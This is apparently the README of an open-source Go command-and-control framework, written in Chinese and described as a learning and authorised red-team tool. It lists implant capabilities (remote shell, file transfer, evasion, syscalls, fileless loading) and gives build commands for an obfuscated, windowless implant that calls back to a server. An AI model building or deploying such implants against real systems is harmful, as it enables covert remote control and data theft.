xiongnemo/youmu
GitHub: xiongnemo/youmu
一款零依赖的 Go 语言 C2 框架,用于学习命令与控制基础设施的内部运作方式,适合授权安全测试与教育。
Stars: 0 | Forks: 0
# Youmu(妖梦)— C2 框架
**其他语言**: [简体中文](README.zh-CN.md)
## 概述
Youmu 是一个开源的 C2 框架,旨在学习命令与控制基础设施的内部运作方式。核心加密和 HTTP 通信完全从零开始实现,没有任何第三方依赖;而注入、规避、无文件加载和 BOF 支持等高级功能除非明确标记为已实现,否则均为部分实现或实验性功能。
**名字由来**:[境界の彼方](https://en.wikipedia.org/wiki/Beyond_the_Boundary) — 诞生于人类情感、潜伏在两界交界处的存在。
## 功能
| 类别 | 能力 |
|----------|-------------|
| **Crypto** | RSA-2048 + AES-CBC-256 + HMAC-SHA256 + 密钥派生 |
| **Protocol** | 自定义二进制帧(兼容 CS)+ 元数据 + 6 个编码器 |
| **通信** | HTTP/HTTPS 已实现;DNS/TCP 对等节点辅助功能为部分实现;SOCKS4/5 辅助功能受限 |
| **命令** | Shell / Upload / Download / Ls / Pwd / Cd / Mkdir / Rm / Mv / Ps / Kill |
| **Profile** | Malleable C2 解析器 + HTTP 转换引擎 |
| **Evasion** | 实验/部分实现:程序化 HTTP + UA 轮换;garble 为可选/手动 |
| **Syscall** | Windows 间接 syscall(Chain SSN Resolver)+ Linux 直接 syscall |
| **无文件** | 实验/部分实现:loader 和 sleep-mask 包正在积极开发中 |
| **BOF** | 实验/部分实现:COFF 解析器骨架,执行回调不完整 |
| **REST** | 受 Bearer 保护的 `/api/v1/sessions` + 由 `server-task-allowlist` 允许的 `/tasks` + 挂载在服务器上的 `/status` |
| **Staged** | 实验/部分实现:handler 已存在,但分阶段交付默认未挂载 |
| **生成** | 部分实现:交叉编译 + 有效的 ldflags 配置注入;动态生成在路线图中 |
## 快速开始
### 安装
```
git clone https://github.com/xiongnemo/youmu.git
cd youmu
go mod tidy # no dependencies to download
```
### 启动服务器
```
go run ./cmd/server/ -addr :8443
```
服务器将生成 RSA 密钥对并打印公钥。
### 构建 Youmu(Implant)
```
# 标准构建
go build -ldflags "-s -w -trimpath -H windowsgui \
-X youmu/pkg/youmu.BuildServerURL=https://your-server:8443 \
-X youmu/pkg/youmu.BuildRSAPublicKey=" \
-o youmu.exe ./cmd/youmu/
# 使用 garble 进行混淆
garble -tiny -literals build -ldflags "..." -o youmu.exe ./cmd/youmu/
```
### 运行
```
./youmu.exe -server https://your-server:8443
```
## 架构
```
┌─────────────────────────────────────────────────────────────┐
│ Operator │
│ ┌──────────┐ ┌──────────┐ ┌──────────────────────┐ │
│ │ CLI │ │ REST API │ │ Web Dashboard (TODO) │ │
│ └────┬─────┘ └────┬─────┘ └──────────┬───────────┘ │
│ └───────────────┼──────────────────────┘ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Team Server │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────┐ │ │
│ │ │ Session │ │ Task │ │ REST │ │ Stage? │ │ │
│ │ │ Manager │ │ Queue │ │ API │ │ Partial│ │ │
│ │ └──────────┘ └──────────┘ └──────────┘ └────────┘ │ │
│ └─────────────────────────┬───────────────────────────────┘ │
│ │ │
└─────────────────────────────┼────────────────────────────────┘
│ HTTP/HTTPS primary (+partial DNS/TCP helpers)
▼
┌─────────────────────────────────────────────────────────────┐
│ Youmu (Implant) │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────────┐ │
│ │ Transport│ │ Command │ │ Traffic │ │ Mask Lab │ │
│ │ Layer │ │ Dispatch │ │ Helpers │ │ Experiment │ │
│ └──────────┘ └──────────┘ └──────────┘ └────────────┘ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────────┐ │
│ │ Crypto │ │ Protocol │ │ Syscall │ │ Loader Lab │ │
│ │ Layer │ │ Codec │ │ Partial │ │ Roadmap │ │
│ └──────────┘ └──────────┘ └──────────┘ └────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
## 项目结构
```
youmu/
├── cmd/
│ ├── server/main.go # Server entry point
│ └── youmu/main.go # Youmu entry point
├── shared/
│ ├── types.go # Core types
│ └── constants.go # Constants
├── pkg/
│ ├── crypto/ # RSA + AES + HMAC
│ ├── protocol/ # Binary frames + metadata + encoders
│ ├── server/ # HTTP handler + session + REST API
│ ├── youmu/ # Main loop + transport + evasion
│ ├── commands/ # Command implementations
│ ├── profile/ # Malleable C2
│ ├── syscall/ # Direct syscall
│ ├── reflector/ # Experimental PE/ELF loader study code
│ ├── sleepmask/ # Experimental sleep-mask helper code
│ └── bof/ # Partial BOF/COFF parser skeleton
├── docs/
│ ├── en/ # English documentation
│ └── zh-CN/ # Chinese documentation
├── PLAN.md # Implementation plan
├── AGENTS.md # Project constraints
├── PLATFORMS.md # Platform compatibility
├── NEXT.md # Next phase plan
├── build.sh # Build script
└── go.mod # Zero dependencies
```
## 平台支持
除非功能表或详细文档明确标记为已实现,否则架构中展示的高级模块均为部分/实验性功能。
| 平台 | 服务器 | Youmu | 备注 |
|----------|--------|-------|-------|
| Windows | ✅ | ✅ | 主要目标,间接 syscall |
| Linux | ✅ | ✅ | 直接 syscall,memfd_create |
| macOS | ✅ | ✅ | 直接 syscall |
| FreeBSD | ⚠️ | ⚠️ | 基础功能 |
详情请参阅 [PLATFORMS.md](PLATFORMS.md)。
## 文档
- [架构设计](docs/en/architecture.md) | [架构设计](docs/zh-CN/architecture.md)
- [加密协议](docs/en/crypto.md) | [加密协议](docs/zh-CN/crypto.md)
- [通信协议](docs/en/protocol.md) | [通信协议](docs/zh-CN/protocol.md)
- [命令参考](docs/en/commands.md) | [命令参考](docs/zh-CN/commands.md)
- [Malleable C2](docs/en/profile.md) | [Malleable C2](docs/zh-CN/profile.md)
- [Syscall 层](docs/en/syscall.md) | [Syscall 层](docs/zh-CN/syscall.md)
- [无文件执行](docs/en/fileless.md) | [内存马](docs/zh-CN/fileless.md)
- [BOF 加载器](docs/en/bof.md) | [BOF 加载器](docs/zh-CN/bof.md)
- [Evasion 技术](docs/en/evasion.md) | [Evasion 技术](docs/zh-CN/evasion.md)
- [构建指南](docs/en/building.md) | [构建指南](docs/zh-CN/building.md)
## 设计原则
1. **零外部依赖** — `go.mod` 仅包含标准库
2. **直接 syscall** — Windows:`Nt*` 间接 syscall;Linux:`syscall.Syscall()`
3. **跨平台** — 每个平台都有各自的实现或存根
4. **面向学习** — 代码清晰,注释详尽,适合用来深入理解 C2 的每一个细节
## 参考项目
有关用于学习的精选参考项目列表,请参阅 [AGENTS.md](AGENTS.md)。
## 许可证
基于 [GNU Affero General Public License v3.0](LICENSE) 许可。本项目仅可用于授权的安全测试和教育目的;有关项目安全政策,请参阅 [AGENTS.md](AGENTS.md)。
标签:C2框架, EVTX分析, Go语言, HTTP工具, IP 地址批量处理, 免杀技术, 安全学习资源, 日志审计, 暴力破解检测, 知识库安全, 程序破解, 红队框架, 网络信息收集